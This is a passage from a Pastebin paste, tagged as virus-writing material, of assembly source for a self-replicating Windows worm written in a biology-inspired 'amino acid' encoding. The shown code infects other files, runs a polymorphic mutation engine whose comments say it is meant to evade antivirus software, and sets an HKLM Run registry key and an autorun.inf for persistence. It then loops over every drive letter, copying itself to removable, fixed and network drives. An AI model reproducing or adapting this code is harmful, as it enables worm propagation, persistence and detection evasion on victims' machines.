  2149.         _saveWrtOff
  2150.         _zer0 0
  2151.         _writeDWord
  2152.  
  2153.  
  2154.         _push        ; trash
  2155.  
  2156.      HGTFileEnd1:
  2157.         _pop         ; from call
  2158.         _pop         ; saved address
  2159.  
  2160.         GetAddress HGTMapPointer
  2161.         _getdata
  2162.         _push
  2163.         CallAPI hUnmapViewOfFile    ; call UnmapViewOfFile, dword[HGTMapPointer]
  2164.  
  2165.  
  2166.         _getDO
  2167.         addnumber (hCloseHandle-DataOffset)
  2168.         _getdata
  2169.         _nopdA       ; Save API in RegA
  2170.  
  2171.         GetAddress HGTMapHandle
  2172.         _getdata
  2173.         _push
  2174.         _save
  2175.         _and
  2176.  
  2177.         _JnzDown
  2178.            ; BC==0
  2179.            _nopREAL
  2180.            _nopREAL
  2181.            _add0001
  2182.            _JnzDown
  2183.  
  2184.             ; BC!=0
  2185.             _nopsA       ; get API offset
  2186.             _call        ; call CloseHandle, dword[HGTMapHandle]
  2187.             _push        ; Trash
  2188.             _nopREAL
  2189.  
  2190.  
  2191.         _pop         ; remove trash
  2192.  
  2193.         _getDO
  2194.         addnumber (hCloseHandle-DataOffset)
  2195.         _getdata
  2196.         _nopdA       ; Save API in RegA
  2197.  
  2198.         GetAddress HGTFileHandle
  2199.         _getdata
  2200.         _push
  2201.         _save
  2202.         _and
  2203.  
  2204.         _JnzDown
  2205.            ; BC==0
  2206.            _nopREAL
  2207.            _nopREAL
  2208.            _add0001
  2209.            _JnzDown
  2210.  
  2211.             ; BC!=0
  2212.             _nopsA       ; get API offset
  2213.             _call        ; call CloseHandle, dword[HGTFileHandle]
  2214.             _push        ; Trash
  2215.             _nopREAL
  2216.  
  2217.         _pop         ; remove trash
  2218.  
  2219.  
  2220.         GetAddress HGTDidInsert
  2221.         _getdata
  2222.         _push            ; 0...written / -1...not written
  2223.  
  2224.         GetAddress WIN32_FIND_DATA_struct
  2225.         _push
  2226.         GetAddress HGT_FFHandle
  2227.         _getdata
  2228.         _push
  2229.  
  2230.         CallAPI hFindNextFileA
  2231.  
  2232.  
  2233.         _pop             ; HGTDidInsert
  2234.         _save
  2235.         _nopsA           ; If nonzero: Next file!
  2236.     _and
  2237.     _JnzUp               ; End of the loop
  2238.  
  2239.  
  2240.     _push            ; Trash to stack
  2241.     HGTEnd1:
  2242.  
  2243.     _pop             ; Align stack (Trash or Return address from _call)
  2244.  
  2245. ; ##### End of horizontal gene transfer
  2246. ; ############################################################################
  2247.  
  2248. ; #####
  2249. ; #####
  2250. ; ############################################################################
  2251. ; ############################################################################
  2252.  
  2253. ;      _int3    ; WORKS HERE
  2254.  
  2255.  
  2256. ; ############################################################################
  2257. ; ############################################################################
  2258. ; #####
  2259. ; #####  Here we find polymorphism
  2260. ; #####
  2261. ;
  2262. ;  Together with natural mutations, also a special form of polymorphism
  2263. ;  can be performed.
  2264. ;
  2265. ;  To achieve robustness under bitflip mutations, the alphabeth is
  2266. ;  constructed to be redundant (about 35 commands are coded within 256
  2267. ;  slots).
  2268. ;
  2269. ;  This redundancy will be used in the polymorphism. The code searchs the
  2270. ;  alphabeth for equal entries. If it finds two amino acids A and B, which
  2271. ;  are equal, then in the codesection there will be a random flip from
  2272. ;  codon A to codon B.
  2273. ;
  2274. ;  There are some reasons why a mutation-system like this should be included:
  2275. ;  1) The variability of the worm is much faster
  2276. ;  2) Codons which point to isolated amino acids (these who can not be
  2277. ;     transformed by a single bitflip to another amino acid of the same kind)
  2278. ;     can be de-isolated.
  2279. ;  3) Mutations in the polymorphism-engine could lead to unexpected
  2280. ;     (non-lethal) results.
  2281. ;  4) Macro-Mutations are of high importance to bypass natural enemies
  2282. ;     (like antivirus software), thus increase fitness.
  2283. ;  5) Could make some variations in START and STOP codons, which have
  2284. ;     unpredictable results.
  2285. ;
  2286.     CalcNewRandNumberAndSaveIt
  2287.  
  2288.     GetAddress RPAminoAcid1
  2289.     _saveWrtOff
  2290.  
  2291.     GetAddress RandomNumber
  2292.  
  2293.     _getdata
  2294.     _nopdA           ; mov eax, [RandomNumber]
  2295.  
  2296.  
  2297.     _zer0 0
  2298.     _nopdD           ; mov edx, 0
  2299.  
  2300.     addnumber 256
  2301.  
  2302.     _div             ; div ebx
  2303.  
  2304.     _nopsD           ; BC1=rand%256
  2305.  
  2306.     _writeDWord      ; Save amino acid to compare.
  2307.  
  2308.  
  2309.     _push
  2310.     _zer0 0
  2311.     addnumber 3
  2312.     _save
  2313.  
  2314.     _pop
  2315.     _shl             ; BC1=(rand%256)*8
  2316.     _save
  2317.  
  2318.  
  2319.     GetAddress MapPointer
  2320.     _getdata
  2321.     _addsaved        ; MapPoint+(rand%256)*8
  2322.  
  2323.     addnumber (CodeStart+(StartAlphabeth-start))  ; MapPoint+(rand%256)*8+AlphabethStart
  2324.     _push
  2325.     _getdata
  2326.     _nopdA           ; First 4 bytes of amino acid in RegA
  2327.  
  2328.     _pop
  2329.     addnumber 4
  2330.     _getdata
  2331.     _nopdB           ; 2nd 4 bytes of amino acid in RegB
  2332.  
  2333.     GetAddress MapPointer
  2334.     _getdata
  2335.  
  2336.     addnumber (CodeStart+(StartAlphabeth-start))
  2337.     _nopdD
  2338.  
  2339.  
  2340.     ; Start of loop:
  2341.     _getEIP
  2342.     _sub0001
  2343.     _sub0001
  2344.     _sub0001
  2345.     _sub0001
  2346.     _sub0001
  2347.     _saveJmpOff
  2348.  
  2349.         _zer0 0                ; BC1=0
  2350.         addnumber ((RPBlock1End1-RPBlock1Start1)*8)   ; size of block
  2351.         _save
  2352.  
  2353.         _getEIP
  2354.  
  2355.         RPBlock1Start1:
  2356.         addnumber 3
  2357.         _addsaved
  2358.         _push                   ; Save Addresse at Stack
  2359.  
  2360.  
  2361.         _pushall
  2362.             CalcNewRandNumberAndSaveIt
  2363.  
  2364.             GetAddress RPAminoAcid2
  2365.             _saveWrtOff
  2366.  
  2367.             GetAddress RandomNumber
  2368.  
  2369.             _getdata
  2370.             _nopdA           ; mov eax, [RandomNumber]
  2371.  
  2372.             _zer0 0
  2373.             _nopdD           ; mov edx, 0
  2374.  
  2375.             addnumber 256
  2376.  
  2377.             _div             ; div ebx
  2378.  
  2379.             _nopsD
  2380.             _writeDWord
  2381.  
  2382.         _popall
  2383.  
  2384.         _pushall
  2385.            GetAddress RPAminoAcid1
  2386.            _getdata
  2387.            _nopdA
  2388.            GetAddress RPAminoAcid2
  2389.            _getdata
  2390.            _nopdB
  2391.  
  2392.         _popall
  2393.  
  2394.         _zer0 0
  2395.         addnumber 3
  2396.         _save
  2397.  
  2398.         GetAddress RPAminoAcid2
  2399.         _getdata
  2400.  
  2401.         _shl         ; *8
  2402.         _save
  2403.  
  2404.         _nopsD        ; Get start of Alphabeth in Map
  2405.  
  2406.         _addsaved
  2407.  
  2408.         _getdata
  2409.         _save
  2410.  
  2411.         _nopsA
  2412.         _subsaved 0
  2413.  
  2414.         _JnzDown     ; Simulate JzDown
  2415.  
  2416.             _nopREAL     ; BC1=0
  2417.             _nopREAL
  2418.             _add0001
  2419.             _JnzDown
  2420.  
  2421.                 _nopREAL     ; Not equal
  2422.                 _pop
  2423.                 _push
  2424.                 _call        ; jmp to RPBlock1End
  2425.  
  2426.     ; First 4 bytes are equal
  2427.         _pop         ; Old Call-address
  2428.  
  2429.         _zer0 0        ; BC1=0
  2430.         addnumber ((RPBlock2End1-RPBlock2Start1)*8)   ; size of block
  2431.         _save
  2432.  
  2433.         _getEIP
  2434.  
  2435.         RPBlock2Start1:
  2436.         addnumber 3
  2437.         _addsaved
  2438.         _push                   ; Save Addresse at Stack
  2439.  
  2440.  
  2441.         _zer0 0
  2442.         addnumber 3
  2443.         _save
  2444.  
  2445.         GetAddress RPAminoAcid2
  2446.         _getdata
  2447.  
  2448.         _shl         ; *8
  2449.         _save
  2450.  
  2451.         _nopsD        ; Get start of Alphabeth in Map
  2452.  
  2453.         _addsaved
  2454.  
  2455.         addnumber 4  ; Get second 4 bytes
  2456.  
  2457.         _getdata
  2458.         _save
  2459.  
  2460.         _nopsB       ; second 4 bytes
  2461.         _subsaved 0
  2462.         _JnzDown
  2463.  
  2464.             _nopREAL     ; BC1=0
  2465.             _pop
  2466.             _push
  2467.             _call        ; RPBlock2End
  2468.  
  2469.         _push        ; not equal! trash to stack
  2470.  
  2471.         RPBlock1End1:    ; Not equal amino acids
  2472.         _pop         ; remove "call"-return address
  2473.         _pop         ; RPBlock1End-Jmp Address
  2474.  
  2475.         _zer0 0
  2476.         addnumber 15
  2477.         _save
  2478.  
  2479.         GetAddress RandomNumber
  2480.         _getdata     ; BC1=random
  2481.  
  2482.         _shr         ; BC1=random >> 15 (to get new small random number without calling the 32bit RND engine again)
  2483.         _and         ; BC1=(random >> 15) % 0000 1111b
  2484.     _JnzUp           ; If not zero -> Next loop!
  2485.  
  2486.  
  2487.     ; Not found any equivalences...
  2488.  
  2489.     _zer0 0                ; BC1=0
  2490.     addnumber ((RPBlock3End1-RPBlock3Start1)*8)   ; size of block
  2491.     _save
  2492.  
  2493.     _getEIP
  2494.  
  2495.      RPBlock3Start1:
  2496.     addnumber 3
  2497.     _addsaved
  2498.  
  2499.     _call        ; jmp to end of poly-engine: RPBlock3End
  2500.  
  2501.  
  2502.  
  2503.  
  2504.      RPBlock2End1:   ; Equal amino acids found
  2505.     _pop         ; remove "call"-return address
  2506.     _pop         ; RPBlock2End-Jmp Address
  2507.  
  2508.  
  2509.     GetAddress MapPointer
  2510.     _getdata
  2511.  
  2512.     addnumber (CodeStart+(StAmino-start))  ; MapPoint+(rand%256)*8+CodonStart
  2513.     _nopdD
  2514.  
  2515.     GetAddress RPAminoAcid1
  2516.     _getdata
  2517.     _nopdA
  2518.  
  2519.     GetAddress RPAminoAcid2
  2520.     _getdata
  2521.     _nopdB
  2522.  
  2523.     _zer0 0
  2524.     GetAddress FileSize
  2525.     _getdata
  2526.     addnumber (0xFFFF'FFFF-(CodeStart+(StAmino-start))-1000)      ; Approximativly...
  2527.     _push
  2528.  
  2529.     _getEIP
  2530.     _sub0001
  2531.     _sub0001
  2532.     _sub0001
  2533.     _sub0001
  2534.     _sub0001
  2535.     _saveJmpOff
  2536.  
  2537.         _nopsD       ; Codon-Sequence Start
  2538.         _save
  2539.  
  2540.         _pop
  2541.         _push        ; counter
  2542.  
  2543.         _addsaved
  2544.         _saveWrtOff
  2545.         _getdata
  2546.         _push
  2547.  
  2548.         _zer0 0
  2549.         addnumber 255
  2550.         _save
  2551.         _pop
  2552.         _and         ; BC1=one byte
  2553.         _save
  2554.  
  2555.         _nopsA
  2556.  
  2557.         _subsaved 0    ; is equal?
  2558.         _JnzDown
  2559.             _nopsB
  2560.             _writeByte       ; If equal: exchange codon!
  2561.             _nopREAL
  2562.             _nopREAL
  2563.  
  2564.         _pushall
  2565.             CalcNewRandNumberAndSaveIt
  2566.         _popall
  2567.  
  2568.         _zer0 0
  2569.         addnumber 1
  2570.         _save
  2571.  
  2572.         GetAddress RandomNumber
  2573.         _getdata
  2574.         _and
  2575.         addnumber 1
  2576.         _save            ; BC2=(rand%8)+1
  2577.  
  2578.         _pop
  2579.         _subsaved 0        ; counter-=((rand%8)+1)
  2580.         _push
  2581.  
  2582.         _zer0 0
  2583.         addnumber 4293918720    ; BC1=0xFFF0 0000
  2584.         _save
  2585.         _pop
  2586.         _push
  2587.         _and             ; BC1=(counter%0xFFF0 0000)
  2588.  
  2589.         _JnzDown
  2590.             _add0001  ; Not finished
  2591.             _JnzUp       ; Next step
  2592.             _nopREAL
  2593.             _nopREAL
  2594.  
  2595.  
  2596.     _pop         ; counter away from stack
  2597.     _push        ; trash
  2598.  
  2599.     RPBlock3End1:
  2600.     _pop         ; return value from call
  2601.  
  2602.  
  2603. ; #####
  2604. ; #####
  2605. ; ############################################################################
  2606. ; ############################################################################
  2607.  
  2608.     GetAddress MapPointer
  2609.     _getdata
  2610.     _push
  2611.     CallAPI hUnmapViewOfFile    ; call UnmapViewOfFile, dword[MapPointer]
  2612.  
  2613.     GetAddress MapHandle
  2614.     _getdata
  2615.     _push
  2616.     CallAPI hCloseHandle        ; call CloseHandle, dword[MapHandle]
  2617.  
  2618.     GetAddress FileHandle
  2619.     _getdata
  2620.     _push
  2621.     CallAPI hCloseHandle        ; call CloseHandle, dword[FileHandle]
  2622.  
  2623.  
  2624. ; ############################################################################
  2625. ; ##### Create Registry Key
  2626.  
  2627.     GetAddress AutoStartContentStart
  2628.     _saveWrtOff
  2629.     _nopdA
  2630.  
  2631.     GetAddress stSubKey         ; Create the key in the data section
  2632.     _nopdA
  2633.     _saveWrtOff
  2634.     _zer0 0
  2635.     addnumber 'SOFT'
  2636.     _writeDWord
  2637.  
  2638.     _nopsA
  2639.     addnumber 4
  2640.     _nopdA
  2641.     _saveWrtOff
  2642.     _zer0 0
  2643.     addnumber 'WARE'
  2644.     _writeDWord
  2645.  
  2646.     _nopsA
  2647.     addnumber 4
  2648.     _nopdA
  2649.     _saveWrtOff
  2650.     _zer0 0
  2651.     addnumber '\Mic'
  2652.     _writeDWord
  2653.  
  2654.     _nopsA
  2655.     addnumber 4
  2656.     _nopdA
  2657.     _saveWrtOff
  2658.     _zer0 0
  2659.     addnumber 'roso'
  2660.     _writeDWord
  2661.  
  2662.     _nopsA
  2663.     addnumber 4
  2664.     _nopdA
  2665.     _saveWrtOff
  2666.     _zer0 0
  2667.     addnumber 'ft\W'
  2668.     _writeDWord
  2669.  
  2670.     _nopsA
  2671.     addnumber 4
  2672.     _nopdA
  2673.     _saveWrtOff
  2674.     _zer0 0
  2675.     addnumber 'indo'
  2676.     _writeDWord
  2677.  
  2678.     _nopsA
  2679.     addnumber 4
  2680.     _nopdA
  2681.     _saveWrtOff
  2682.     _zer0 0
  2683.     addnumber 'ws\C'
  2684.     _writeDWord
  2685.  
  2686.     _nopsA
  2687.     addnumber 4
  2688.     _nopdA
  2689.     _saveWrtOff
  2690.     _zer0 0
  2691.     addnumber 'urre'
  2692.     _writeDWord
  2693.  
  2694.     _nopsA
  2695.     addnumber 4
  2696.     _nopdA
  2697.     _saveWrtOff
  2698.     _zer0 0
  2699.     addnumber 'ntVe'
  2700.     _writeDWord
  2701.  
  2702.     _nopsA
  2703.     addnumber 4
  2704.     _nopdA
  2705.     _saveWrtOff
  2706.     _zer0 0
  2707.     addnumber 'rsio'
  2708.     _writeDWord
  2709.  
  2710.     _nopsA
  2711.     addnumber 4
  2712.     _nopdA
  2713.     _saveWrtOff
  2714.     _zer0 0
  2715.     addnumber 'n\Ru'
  2716.     _writeDWord
  2717.  
  2718.     _nopsA
  2719.     addnumber 4
  2720.     _saveWrtOff
  2721.     _zer0 0
  2722.     addnumber 'n'
  2723.     _writeDWord
  2724.  
  2725.  
  2726.     GetAddress hRegKey
  2727.     _push
  2728.     GetAddress stSubKey
  2729.     _push
  2730.     _zer0 0
  2731.     addnumber HKEY_LOCAL_MACHINE
  2732.     _push
  2733.     CallAPI hRegCreateKeyA
  2734.  
  2735.     _zer0 0
  2736.     addnumber 15
  2737.     _push            ; 15
  2738.     GetAddress Driveletter3
  2739.     _push            ; C:\evolusss.exe
  2740.     _zer0 0
  2741.     addnumber REG_SZ
  2742.     _push            ; REG_SZ
  2743.     _zer0 0
  2744.     _push            ; 0x0
  2745.     _push            ; 0x0
  2746.     GetAddress hRegKey
  2747.     _getdata
  2748.     _push            ; dword[hRegKey]
  2749.     CallAPI hRegSetValueExA
  2750.  
  2751. ; ##### End Create Registry Key
  2752. ; ############################################################################
  2753.  
  2754.  
  2755.  
  2756.  
  2757.  
  2758. ; ############################################################################
  2759. ; ##### Create Autostart file   (For older and unpatched systems)
  2760.  
  2761.     GetAddress AutoStartContentStart
  2762.     _nopdA
  2763.     _saveWrtOff
  2764.     _zer0 0
  2765.     addnumber '[Aut'
  2766.     _writeDWord
  2767.  
  2768.     _nopsA
  2769.     addnumber 4
  2770.     _nopdA
  2771.     _saveWrtOff
  2772.     _zer0 0
  2773.     addnumber 'orun'
  2774.     _writeDWord
  2775.  
  2776.     _nopsA
  2777.     addnumber 4
  2778.     _nopdA
  2779.     _saveWrtOff
  2780.     _zer0 0
  2781.     addnumber 0x530A0D5D    ; ']', 0x0D, 0x0A, 'S'
  2782.     _writeDWord
  2783.  
  2784.     _nopsA
  2785.     addnumber 4
  2786.     _nopdA
  2787.     _saveWrtOff
  2788.     _zer0 0
  2789.     addnumber 'hell'    ; huh - nice ;)
  2790.     _writeDWord
  2791.  
  2792.     _nopsA
  2793.     addnumber 4
  2794.     _nopdA
  2795.     _saveWrtOff
  2796.     _zer0 0
  2797.     addnumber 'Exec'
  2798.     _writeDWord
  2799.  
  2800.     _nopsA
  2801.     addnumber 4
  2802.     _nopdA
  2803.     _saveWrtOff
  2804.     _zer0 0
  2805.     addnumber 'ute='
  2806.     _writeDWord
  2807.  
  2808.     _nopsA
  2809.     addnumber 4
  2810.     _nopdA
  2811.     _saveWrtOff
  2812.     GetAddress RandomFileName
  2813.     _nopdB
  2814.     _getdata
  2815.     _writeDWord
  2816.  
  2817.     _nopsA
  2818.     addnumber 4
  2819.     _nopdA
  2820.     _saveWrtOff
  2821.     _nopsB
  2822.     addnumber 4
  2823.     _getdata
  2824.     _writeDWord
  2825.  
  2826.     _nopsA
  2827.     addnumber 4
  2828.     _nopdA
  2829.     _saveWrtOff
  2830.     _zer0 0
  2831.     addnumber '.exe'
  2832.     _writeDWord
  2833.  
  2834.     _nopsA
  2835.     addnumber 4
  2836.     _nopdA
  2837.     _saveWrtOff
  2838.     _zer0 0
  2839.     addnumber 0x73550A0D
  2840.     _writeDWord
  2841.  
  2842.     _nopsA
  2843.     addnumber 4
  2844.     _nopdA
  2845.     _saveWrtOff
  2846.     _zer0 0
  2847.     addnumber 'eAut'
  2848.     _writeDWord
  2849.  
  2850.     _nopsA
  2851.     addnumber 4
  2852.     _nopdA
  2853.     _saveWrtOff
  2854.     _zer0 0
  2855.     addnumber 'opla'
  2856.     _writeDWord
  2857.  
  2858.     _nopsA
  2859.     addnumber 3
  2860.     _nopdA
  2861.     _saveWrtOff
  2862.     _zer0 0
  2863.     addnumber 'ay=1'
  2864.     _writeDWord
  2865.  
  2866.     GetAddress autoruninf
  2867.     _nopdA
  2868.     _saveWrtOff
  2869.     _zer0 0
  2870.     addnumber 'auto'
  2871.     _writeDWord
  2872.  
  2873.     _nopsA
  2874.     addnumber 4
  2875.     _nopdA
  2876.     _saveWrtOff
  2877.     _zer0 0
  2878.     addnumber 'run.'
  2879.     _writeDWord
  2880.  
  2881.     _nopsA
  2882.     addnumber 3
  2883.     _saveWrtOff
  2884.     _zer0 0
  2885.     addnumber '.inf'
  2886.     _writeDWord
  2887.  
  2888.     _zer0 0
  2889.     _push            ; 0x0
  2890.     addnumber 2
  2891.     _push            ; 0x2
  2892.     _zer0 0
  2893.     addnumber CREATE_ALWAYS
  2894.     _push            ; CREATE_ALWAYS
  2895.     _zer0 0
  2896.     _push            ; 0x0
  2897.     _push            ; 0x0
  2898.     addnumber 0xC0000000
  2899.     _push            ; 0xC0000000
  2900.     GetAddress autoruninf
  2901.     _push            ; autoruninf
  2902.     CallAPI hCreateFileA
  2903.  
  2904.     GetAddress FileHandle
  2905.     _saveWrtOff
  2906.     _nopsA
  2907.     _writeDWord       ; dword[FileHandle]=eax
  2908.  
  2909.     _zer0 0
  2910.     _push             ; 0x0
  2911.     GetAddress MapHandle
  2912.     _push             ; Trash-Address
  2913.     _zer0 0
  2914.     addnumber (AutoStartContentEnd-AutoStartContentStart)
  2915.     _push             ; Size of Buffer
  2916.     GetAddress AutoStartContentStart
  2917.     _push             ; Buffer to write
  2918.     GetAddress FileHandle
  2919.     _getdata
  2920.     _push             ; FileHandle
  2921.     CallAPI hWriteFile
  2922.  
  2923.     GetAddress FileHandle
  2924.     _getdata
  2925.     _push
  2926.     CallAPI hCloseHandle
  2927.  
  2928. ; ##### Create Autostart file
  2929. ; ############################################################################
  2930.  
  2931.  
  2932. ; ############################################################################
  2933. ; ############################################################################
  2934. ; ############################################################################
  2935. ; #####
  2936. ; ##### Main Loop (Searchs for Drives, and copies itself)
  2937. ; #####
  2938.  
  2939.  
  2940.     _getEIP
  2941.     _sub0001
  2942.     _sub0001
  2943.     _sub0001
  2944.     _sub0001
  2945.     _sub0001
  2946.     _saveJmpOff          ; Loop over Drive Letter A-Z
  2947.  
  2948.     _pushall
  2949.         _zer0 0
  2950.         _nopdB               ; RegB=0
  2951.    
  2952.         GetAddress Driveletter1-1
  2953.         _saveWrtOff
  2954.         _zer0 0
  2955.         addnumber 0x003A4100         ; 0x0, "A:", 0x0
  2956.         _writeDWord
  2957.    
  2958.         GetAddress Driveletter2-1
  2959.         _saveWrtOff
  2960.         _zer0 0
  2961.         addnumber 0x5C3A4100         ; 0x0, "A:\"
  2962.         _writeDWord
  2963.    
  2964.    
  2965.         _zer0 0
  2966.         addnumber 26
  2967.         _nopdA               ; counter
  2968.    
  2969.         _getEIP
  2970.         _sub0001
  2971.         _sub0001
  2972.         _sub0001
  2973.         _sub0001
  2974.         _sub0001
  2975.         _saveJmpOff          ; Loop over Drive Letter A-Z
  2976.  
  2977.         _pushall
  2978.    
  2979.             GetAddress Driveletter1+2
  2980.             _saveWrtOff
  2981.             _zer0 1
  2982.             _writeByte
  2983.  
  2984.             GetAddress Driveletter1
  2985.             _push
  2986.             CallAPI hGetDriveTypeA
  2987.  
  2988.             _nopsA
  2989.             _save        ; save Drive type
  2990.  
  2991.             _zer0 1
  2992.             addnumber 0x0010
  2993.             _push
  2994.  
  2995.             _zer0 1
  2996.             addnumber 2 ; BC1=2
  2997.             _subsaved 1
  2998.             _JnzDown     ; Is DRIVE_REMOVABLE?
  2999.                 _pop      ; Stack=0x0010
  3000.                 _push
  3001.                 _nopdB    ; RegB=0x0010 -> FILE+AUTOSTART
  3002.                 _nopREAL
  3003.  
  3004.             _pop        ; Trash away
  3005.  
  3006.             _zer0 1
  3007.             addnumber 0x0040
  3008.             _push
  3009.  
  3010.             _zer0 1
  3011.             addnumber 3 ; BC1=3
  3012.             _subsaved 1
  3013.             _JnzDown    ; Is DRIVE_FIXED?
  3014.                 _pop
  3015.                 _push   ; RegB=0x0040 -> FILE
  3016.                 _nopdB
  3017.                 _nopREAL
  3018.  
  3019.             _pop        ; Trash away
  3020.  
  3021.             _zer0 1
  3022.             addnumber 0x0010
  3023.             _push
  3024.  
  3025.             _zer0 1
  3026.             addnumber 4 ; BC1=4
  3027.             _subsaved 1
  3028.             _JnzDown    ; Is DRIVE_REMOTE?
  3029.                 _pop
  3030.                 _push   ; RegB=0x0010 -> FILE+AUTOSTART
  3031.                 _nopdB
  3032.                 _nopREAL
  3033.  
  3034.  
  3035.             _zer0 1
  3036.             addnumber 6 ; BC1=6
  3037.             _subsaved 1
  3038.             _JnzDown    ; Is DRIVE_RAMDISK?
  3039.                 _pop
  3040.                 _push   ; RegB=0x0010 -> FILE+AUTOSTART
  3041.                 _nopdB
  3042.                 _nopREAL
  3043.  
  3044.             _pop        ; Trash away
  3045.  
  3046.         ; ############################################################################
  3047.         ; ##### Copy autorun.inf (or not)
  3048.    
  3049.             GetAddress autoruninf
  3050.             _nopdA           ; address to "autorun.inf" to RegA
  3051.             GetAddress Driveletter2
  3052.             _nopdD           ; address to "?:\autorun.inf" to RegD
  3053.    
  3054.             _nopsB
  3055.             _save
  3056.    
  3057.    
  3058.             _zer0 1
  3059.             addnumber 0x0010    ; (FILE+AUTOSTART)
  3060.             _subsaved 1
  3061.             _JnzDown
  3062.                 _nopREAL         ; BC1=0x0
  3063.                 _push        ; bFailIfExists=FALSE
  3064.                 _nopsD
  3065.                 _push        ; lpNewFileName="?:\autorun.inf"
  3066.        
  3067.        
  3068.             GetAddress hCopyFileA
  3069.             _getdata
  3070.             _nopdD
  3071.    
  3072.             _zer0 1
  3073.             addnumber 0x0010    ; (FILE+AUTOSTART)
  3074.             _subsaved 1
  3075.             _JnzDown
  3076.                 _nopsA
  3077.                 _push        ; lpExistingFileName="autorun.inf"
  3078.                 _nopsD
  3079.                 _call        ; stdcall dword[hCopyFileA]
  3080.    
  3081.  
  3082.             _nopsB
  3083.             _save            ; restore BC2 (=RegB)
  3084.  
  3085.             _zer0 1
  3086.             addnumber 0x0040
  3087.             _push
  3088.  
  3089.             _zer0 1
  3090.             addnumber 0x0010    ; (FILE+AUTOSTART)
  3091.             _subsaved 1
  3092.             _JnzDown
  3093.                 _pop
  3094.                 _push
  3095.                 _nopdB
  3096.                 _save         ; also copy child executable
  3097.  
  3098.             _pop        ; Trash away
  3099.  
  3100.        
  3101.         ; ##### End Copy autorun.inf (or not)
  3102.         ; ############################################################################
  3103.  
  3104.  
  3105.         ; ############################################################################
  3106.         ; ##### Copy child executable (or not)
  3107.        
  3108.             GetAddress Driveletter1+2
  3109.             _saveWrtOff
  3110.             _zer0 1
  3111.             addnumber 0x5C         ;'\'
  3112.             _writeByte
  3113.        
  3114.             GetAddress RandomFileName
  3115.             _nopdA           ; address to "NNNNNNNN.exe" to RegA
  3116.             GetAddress Driveletter1
  3117.             _nopdD           ; address to "?:\NNNNNNNN.exe" to RegD
  3118.        
  3119.             _nopsB
  3120.             _save
  3121.        
  3122.             _zer0 1
  3123.             addnumber 0x0040    ; (FILE+AUTOSTART)
  3124.             _subsaved 1
  3125.             _JnzDown
  3126.                 _nopREAL
  3127.                 _push        ; bFailIfExists=FALSE
  3128.                 _nopsD
  3129.                 _push        ; lpNewFileName="?:\NNNNNNNN.exe"
  3130.        
  3131.        
  3132.             GetAddress hCopyFileA
  3133.             _getdata
  3134.             _nopdD
  3135.        
  3136.             _zer0 1
  3137.             addnumber 0x0040    ; (FILE+AUTOSTART)
  3138.             _subsaved 1
  3139.             _JnzDown
  3140.                 _nopsA
  3141.                 _push        ; lpExistingFileName="NNNNNNNN.exe"
  3142.                 _nopsD
  3143.                 _call        ; stdcall dword[hCopyFileA]
  3144.  
  3145.         ; ##### End Copy child executable (or not)
  3146.         ; ############################################################################
  3147.  
  3148.         _popall
  3149.    
  3150.         GetAddress Driveletter1
  3151.         _saveWrtOff
  3152.         _getdata
  3153.         addnumber 1
  3154.         _writeByte
  3155.    
  3156.         GetAddress Driveletter2
  3157.         _saveWrtOff
  3158.         _getdata
  3159.         addnumber 1
  3160.         _writeByte
  3161.    
  3162.    
  3163.         _nopsA
  3164.         _sub0001
  3165.         _nopdA
  3166.    
  3167.         _JnzUp
  3168.  
  3169.     _popall
  3170.     _zer0 0
  3171.     addnumber 0x6666
  3172.     _push
  3173.     CallAPI hSleep
  3174.  
  3175.  
  3176.     _zer0 0
  3177.     addnumber 1
  3178.     _JnzUp
  3179.  
  3180.  
  3181. ; #####
  3182. ; #####     End Main Loop
  3183. ; #####
  3184. ; ############################################################################
  3185. ; ############################################################################
  3186. ; ############################################################################
  3187.  
  3188.  
  3189. EndAminoAcids1:
  3190.  
  3191. ; ##################################################################
  3192.  
  3193.  
  3194. display 13,10,'- - -',13,10,'displayAminoAcidDistribution:',13,10
  3195. display             '=============================',13,10
  3196. displayAminoAcidDistribution AminoAcidList
  3197.  
  3198.  
  3199.  
  3200.  
  3201. EndAmino:
  3202. .end start
Tags: worm vx SPTH
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!